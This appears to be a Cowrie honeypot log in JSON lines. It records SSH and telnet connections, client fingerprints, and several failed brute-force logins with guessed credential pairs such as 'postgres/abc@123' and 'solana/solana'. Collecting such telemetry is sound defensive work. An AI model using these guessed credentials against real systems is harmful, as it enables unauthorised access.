{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:28.840564Z","src_ip":"102.211.152.138","session":"f420cb214435","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwe./","message":"login attempt [ubuntu/123qwe./] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:29.305824Z","src_ip":"102.211.152.138","session":"f420cb214435","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:30.416651Z","src_ip":"102.211.152.138","session":"f420cb214435","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00157618522644,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:30.425535Z","src_ip":"182.253.54.171","session":"97188be0b6ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.345560550689697,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:31.301992Z","src_ip":"162.248.7.67","session":"277dd8fa1ff8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":9382,"dst_ip":"10.17.0.5","dst_port":23,"session":"55423305796b","protocol":"telnet","message":"New connection: 182.253.54.171:9382 (10.17.0.5:23) [session: 55423305796b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:32.988490Z"}
{"eventid":"cowrie.session.closed","duration":31.27489733695984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:37.854381Z","src_ip":"162.248.7.67","session":"ad61227e2830","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00097393989563,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:42.875878Z","src_ip":"182.253.54.171","session":"87fd60bcea3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":14007,"dst_ip":"10.17.0.5","dst_port":23,"session":"064bf800369b","protocol":"telnet","message":"New connection: 182.253.54.171:14007 (10.17.0.5:23) [session: 064bf800369b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:43.402148Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":32832,"dst_ip":"159.203.135.109","dst_port":23,"session":"66ee003cf696","protocol":"telnet","message":"New connection: 162.248.7.67:32832 (159.203.135.109:23) [session: 66ee003cf696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:44.051219Z"}
{"eventid":"cowrie.session.closed","duration":31.191452980041504,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:44.984964Z","src_ip":"162.248.7.67","session":"add06dbbc54a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":35886,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b12ce5d0317","protocol":"telnet","message":"New connection: 162.248.7.67:35886 (159.203.135.109:23) [session: 4b12ce5d0317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:48.394589Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":54444,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1de3a33000c","protocol":"telnet","message":"New connection: 137.184.155.248:54444 (10.17.0.5:23) [session: a1de3a33000c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:50.672746Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":40634,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ffb48fa58fb","protocol":"telnet","message":"New connection: 162.248.7.67:40634 (159.203.135.109:23) [session: 8ffb48fa58fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:53.875270Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":40850,"dst_ip":"159.203.135.109","dst_port":23,"session":"565fc0e71352","protocol":"telnet","message":"New connection: 162.248.7.67:40850 (159.203.135.109:23) [session: 565fc0e71352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:54.160816Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":49494,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7f1b676b707","protocol":"ssh","message":"New connection: 2.57.122.238:49494 (10.17.0.5:22) [session: f7f1b676b707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:54.628259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:54.633535Z","src_ip":"2.57.122.238","session":"f7f1b676b707","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:54.738819Z","src_ip":"2.57.122.238","session":"f7f1b676b707","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:55.058872Z","src_ip":"2.57.122.238","session":"f7f1b676b707","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:56.166737Z","src_ip":"2.57.122.238","session":"f7f1b676b707","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":43276,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f892805819d","protocol":"telnet","message":"New connection: 162.248.7.67:43276 (159.203.135.109:23) [session: 4f892805819d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:08:57.243640Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":44074,"dst_ip":"159.203.135.109","dst_port":23,"session":"df4ce21f174a","protocol":"telnet","message":"New connection: 162.248.7.67:44074 (159.203.135.109:23) [session: df4ce21f174a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:01.494467Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":47868,"dst_ip":"159.203.135.109","dst_port":23,"session":"c58be5840c75","protocol":"telnet","message":"New connection: 162.248.7.67:47868 (159.203.135.109:23) [session: c58be5840c75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:04.103980Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":47484,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1162c31045d","protocol":"telnet","message":"New connection: 162.248.7.67:47484 (159.203.135.109:23) [session: d1162c31045d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:04.594693Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":46434,"dst_ip":"159.203.135.109","dst_port":23,"session":"c707dcf7cf4e","protocol":"telnet","message":"New connection: 162.248.7.67:46434 (159.203.135.109:23) [session: c707dcf7cf4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:05.101790Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":49276,"dst_ip":"159.203.135.109","dst_port":23,"session":"32551ad2e10d","protocol":"telnet","message":"New connection: 162.248.7.67:49276 (159.203.135.109:23) [session: 32551ad2e10d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:07.135410Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":50772,"dst_ip":"159.203.135.109","dst_port":23,"session":"6db7d88c3856","protocol":"telnet","message":"New connection: 162.248.7.67:50772 (159.203.135.109:23) [session: 6db7d88c3856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:08.099834Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":50520,"dst_ip":"159.203.135.109","dst_port":23,"session":"720205fc3ebf","protocol":"telnet","message":"New connection: 162.248.7.67:50520 (159.203.135.109:23) [session: 720205fc3ebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:08.820353Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":51538,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6f674555d27","protocol":"telnet","message":"New connection: 162.248.7.67:51538 (159.203.135.109:23) [session: f6f674555d27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:08.885169Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.98.118","src_port":58202,"dst_ip":"159.203.135.109","dst_port":22,"session":"9349501c2c3b","protocol":"ssh","message":"New connection: 43.157.98.118:58202 (159.203.135.109:22) [session: 9349501c2c3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:10.092605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:10.099990Z","src_ip":"43.157.98.118","session":"9349501c2c3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:10.189815Z","src_ip":"43.157.98.118","session":"9349501c2c3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":52136,"dst_ip":"159.203.135.109","dst_port":23,"session":"06d76178d914","protocol":"telnet","message":"New connection: 162.248.7.67:52136 (159.203.135.109:23) [session: 06d76178d914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:10.584372Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"abc@123","message":"login attempt [postgres/abc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:10.868589Z","src_ip":"43.157.98.118","session":"9349501c2c3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:11.960054Z","src_ip":"43.157.98.118","session":"9349501c2c3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":54418,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c9848d4d98b","protocol":"telnet","message":"New connection: 162.248.7.67:54418 (159.203.135.109:23) [session: 6c9848d4d98b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:12.485815Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":55228,"dst_ip":"159.203.135.109","dst_port":23,"session":"f63f25ece25e","protocol":"telnet","message":"New connection: 162.248.7.67:55228 (159.203.135.109:23) [session: f63f25ece25e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:14.570885Z"}
{"eventid":"cowrie.session.closed","duration":30.78964352607727,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:14.840704Z","src_ip":"162.248.7.67","session":"66ee003cf696","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":56104,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3078b8ff5f2","protocol":"telnet","message":"New connection: 162.248.7.67:56104 (159.203.135.109:23) [session: b3078b8ff5f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:14.902159Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":56998,"dst_ip":"159.203.135.109","dst_port":23,"session":"1281078601ab","protocol":"telnet","message":"New connection: 162.248.7.67:56998 (159.203.135.109:23) [session: 1281078601ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:17.266518Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":57828,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1184c677b89","protocol":"telnet","message":"New connection: 162.248.7.67:57828 (159.203.135.109:23) [session: c1184c677b89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:17.496011Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":57536,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cba3d735697","protocol":"telnet","message":"New connection: 162.248.7.67:57536 (159.203.135.109:23) [session: 8cba3d735697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:18.148337Z"}
{"eventid":"cowrie.session.closed","duration":31.62622594833374,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:20.020726Z","src_ip":"162.248.7.67","session":"4b12ce5d0317","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":59808,"dst_ip":"159.203.135.109","dst_port":23,"session":"51689be45370","protocol":"telnet","message":"New connection: 162.248.7.67:59808 (159.203.135.109:23) [session: 51689be45370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:20.194235Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":59854,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6e1c614d680","protocol":"telnet","message":"New connection: 162.248.7.67:59854 (159.203.135.109:23) [session: d6e1c614d680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:20.249172Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":60098,"dst_ip":"159.203.135.109","dst_port":23,"session":"11eac5fc8d54","protocol":"telnet","message":"New connection: 162.248.7.67:60098 (159.203.135.109:23) [session: 11eac5fc8d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:20.506801Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":59294,"dst_ip":"159.203.135.109","dst_port":23,"session":"a60cf7207536","protocol":"telnet","message":"New connection: 162.248.7.67:59294 (159.203.135.109:23) [session: a60cf7207536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:20.625597Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":60398,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb734af78b66","protocol":"telnet","message":"New connection: 162.248.7.67:60398 (159.203.135.109:23) [session: cb734af78b66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:20.931185Z"}
{"eventid":"cowrie.session.closed","duration":30.235800743103027,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:24.396485Z","src_ip":"162.248.7.67","session":"565fc0e71352","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":34878,"dst_ip":"159.203.135.109","dst_port":23,"session":"7993f17ff0e3","protocol":"telnet","message":"New connection: 162.248.7.67:34878 (159.203.135.109:23) [session: 7993f17ff0e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:24.498709Z"}
{"eventid":"cowrie.session.closed","duration":31.116798162460327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:24.991936Z","src_ip":"162.248.7.67","session":"8ffb48fa58fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":40720,"dst_ip":"159.203.135.109","dst_port":22,"session":"444fe84a5873","protocol":"ssh","message":"New connection: 102.211.152.138:40720 (159.203.135.109:22) [session: 444fe84a5873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:25.540588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:25.546279Z","src_ip":"102.211.152.138","session":"444fe84a5873","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:25.655611Z","src_ip":"102.211.152.138","session":"444fe84a5873","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tileserver","password":"tileserver","message":"login attempt [tileserver/tileserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:26.126557Z","src_ip":"102.211.152.138","session":"444fe84a5873","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":36522,"dst_ip":"159.203.135.109","dst_port":23,"session":"571398d62b61","protocol":"telnet","message":"New connection: 162.248.7.67:36522 (159.203.135.109:23) [session: 571398d62b61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:26.741606Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:27.238379Z","src_ip":"102.211.152.138","session":"444fe84a5873","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.80861735343933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:28.052171Z","src_ip":"162.248.7.67","session":"4f892805819d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":38458,"dst_ip":"159.203.135.109","dst_port":23,"session":"004b8885d8da","protocol":"telnet","message":"New connection: 162.248.7.67:38458 (159.203.135.109:23) [session: 004b8885d8da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:29.355178Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":39282,"dst_ip":"159.203.135.109","dst_port":23,"session":"32bbc3a48902","protocol":"telnet","message":"New connection: 162.248.7.67:39282 (159.203.135.109:23) [session: 32bbc3a48902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:09:31.602477Z"}
